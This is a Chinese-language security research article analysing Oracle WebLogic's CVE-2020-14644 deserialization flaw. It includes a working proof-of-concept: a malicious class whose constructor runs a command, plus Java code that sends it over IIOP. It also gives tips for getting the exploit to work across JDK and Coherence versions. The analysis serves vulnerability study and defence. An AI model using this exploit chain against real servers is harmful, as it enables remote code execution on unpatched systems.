Weblogic 远程命令执行漏洞(CVE--14644)分析

作者:Sp4rr0vv@ 白帽汇安全研究院

核对:r4v3zn@ 白帽汇安全研究院

本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!

投稿邮箱:paper@seebug.org

概述

2020 年 7 月 15 日,Oracle 发布大量安全修复补丁,其中 CVE-2020-14644 漏洞被评分为 9.8 分,影响版本为 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0 。本文基于互联网公开的 POC 进行复现、分析,最终实现无任何限制的 defineClass + 实例化,进行实现 RCE。

前置知识

JDKClassLoader 类中有个方法是 defindClass ,可以根据类全限定名和类的字节数组,加载一个类到 jvm 中并返回对应的 Class 对象(随带一提,这种加载类的方式不会执行类初始化)。

image-20200805135249325

所以只要参数 name(类名)和 b (类文件的二进制数据)可控,理论上我们可以加载任何类,需要注意的一点是,这个类名 name 一定要和这个类字节数组 b 中对于的类名一致才行,不然就是一个 NoClassDefFoundError

image-20200805143407083

image-20200805143146631

复现

环境

- Weblogic 12.2.1.4.0

- jdk 1.8.0_112

- Windows 10

首先准备一个带包名的恶意类,在构造函数中写入恶意代码

package com;

import java.io.IOException;

public class EvilObj {

public EvilObj() {

try {

Runtime.getRuntime().exec("calc");

} catch (IOException var1) {

var1.printStackTrace();

}

}

}

POC

ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);

ClassPool cp = ClassPool.getDefault();

CtClass ctClass = cp.get(EvilObj.class.getName());

ctClass.replaceClassName(EvilObj.class.getName(), EvilObj.class.getName() + "$" + classIdentity.getVersion());

RemoteConstructor constructor = new RemoteConstructor(

new ClassDefinition(classIdentity, ctClass.toBytecode()),

new Object[] {}

);

// 发送 IIOP 协议数据包

Context context = getContext("iiop://ip:port");

context.rebind("hello",constructor);

复现结果:

image-20200806093842214

以下为简化版调用栈:

exec:347, Runtime (java.lang)

<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)

newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)

reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)

invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)

invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)

invokeWithArguments:627, MethodHandle (java.lang.invoke)

createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)

realize:142, RemotableSupport (com.tangosol.internal.util.invoke)

newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)

readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)

漏洞分析

先看下几个关键的类的字段和构造函数,都是 coherence.jar 中的类

com.tangosol.internal.util.invoke.RemoteConstructor

/wp-content/uploads/aaacj/20210717aaaeee/dbnjm2gpdnv5558.png

com.tangosol.internal.util.invoke.ClassDefinition

image-20200805132609441

com.tangosol.internal.util.invoke.ClassIdentity

image-20200805133348073

com.tangosol.internal.util.invoke.RemotableSupport

image-20200805152651959

com.tangosol.internal.util.invoke.ClassIdentity 的构造构造方法可以将 Class 作为参数,然后进行提取该类的一些特征信息,例如 packageBaseNameVersion等信息,其中 Version 表示该类文件的内容 MD5 值,然后转换为 Hex

image-20200805145134354

image-20200805151149145

image-20200805151308964

所以 getName() = package + "/" + baseName + "$" + version

image-20200805151648869

com.tangosol.internal.util.invoke.ClassDefinitionclassnamebyte[] 都有了,而 RemoteConstructor 持有 ClassDefinition 类型的引用,RemotableSupport 继承了 ClassLoader,具有加载类的功能。

最后看下关键的几个调用栈:

image-20200805152228695

image-20200805152202225

重点在 RemotableSupport.realize 中进行处理,其中首先流入 this.registerIfAbsent(constructor.getDefinition()) 中。

image-20200806094158466

RemotableSupport 中定义了 Map 类型 f_mapDefinitions 的变量进行充当缓存作用。

image-20200805165348620

首先是每次调用 realize 时会先在缓存中查找 ClassDefinition

image-20200805180021923

ClassIdentity 重写了equals方法,所以如果恶意类的内容没有什么变化的话,会将 Class 对应的 ClassIdentity 在第一次使用时的 id 作为 key,内容作为 value 存入缓存,之后每次都会返回第一次加的 ClassnameClassDefinition

image-20200805205219348

执行 this.registerIfAbsent(constructor.getDefinition()) 之后通过 ClassDefinition.getRemotableClass 进行获取 m_clz,第一次流入时内容值为 null (其中不仅是因为在 ClassDefinition 的构造函数中没有为该字段赋值的语句,更重要的是这个字段是 transient 修饰的),然后通过调用 defineClass 进行加载恶意类字节码。

image-20200805212209399

image-20200805212403828

image-20200805212723073

由于 RemotableSupport 继承了 ClassLoader,所以它的 defineClass 就是调用了父类的 defineClass 来加载类,但是有意思的是他所生成类名的逻辑,是前面所说的 ClassIdentity.getname() = package + "/" + baseName + "$" + version,所以 ClassIdentity 中的字节数组 byte[] 中的对应的 Class 的类名必须为 package + "." + baseName + "$" + version,否则可能会面临加载失败的问题。

image-20200805213145914

还有一个有意思的地方是 RemotableSupport.defineClass 这个函数所返回的是一个泛型

image-20200805221023126

还刚好是 ClassDefinition.setRemotableClass 的参数类型一致image-20200805221251914

这意味着,这个ClassDefinition中的类字节数组byte[]内容不需要进行继承Remotable

image-20200806092748575

而且显而易见,ClassDefinition.setRemotableClass 的作用就是为ClassDefinition 的两个 transient 字段赋值

image-20200806094514613

这要求ClassDefinition所代表的类的构造函数必须只有一个,参数有无,没有任何影响,m_mhCtor字段的类型为MethodHandle,是 JDK7 的新特性,是另一套反射 api 中的类,在 ClassDefinition 这个类中对应于构造函数。

当流入 ClassDefinition.createInstance 后会进行调用构造方法将 aoArgs 作为参数进行实例化对象,由于我们的恶意代码是写在构造方法中的,所以当实例化之后会进行执行恶意代码。

image-20200806094529126

实际利用

综述,整体的思路为,构造一个带有包名类,恶意代码写进构造函数中就行,然后通过 javassist 进行动态修改类名,将原类名追加 $version 值,在实战利用中可能会出现以下问题。

为啥要带包名?

因为ClassIdentity的构造函数中有下面这个链式调用,不带包名getPackage()会返回null,再往下调用就会空指针异常

image-20200806094554771

Class 版本问题

在利用的过程中常常会出现,由于 JDK 版本问题无法正常利用问题。

  1. 可以通过在编译获取恶意类时加入 -source 1.6 -target 1.6 参数指定编译版本。
  2. 也可通过设置当前运行 jdk 版本调整为最低版本进行使用。

序列化 ID 问题

由于 Weblogic 版本的变化,coherence.jar 文件中的 serialVersionUID 可能会出现不一致的问题,通过分析测试得出以下结论 12.2.1.3.012.2.1.4.014.1.1.0.0serialVersionUID 不同,以下为详细测试的结果:

coherence.jarweblogic 版本是否成功
12.2.1.3.012.2.1.3.0成功
12.2.1.3.012.2.1.4.0失败
12.2.1.3.014.1.1.0.0失败
12.2.1.4.012.2.1.3.0失败
12.2.1.4.012.2.1.4.0成功
12.2.1.4.014.1.1.0.0成功
14.1.1.0.012.2.1.3.0失败
14.1.1.0.012.2.1.4.0成功
14.1.1.0.014.1.1.0.0成功

该问题可通过 URLClassLoader 进行动态加载处理以下为部分核心代码(摘自 weblogic-framework):

image-20200806133258369

image-20200806133919212

参考

以上是 Weblogic 远程命令执行漏洞(CVE--14644)分析 的全部内容, 来源链接: utcz.com/p/199667.html

回到顶部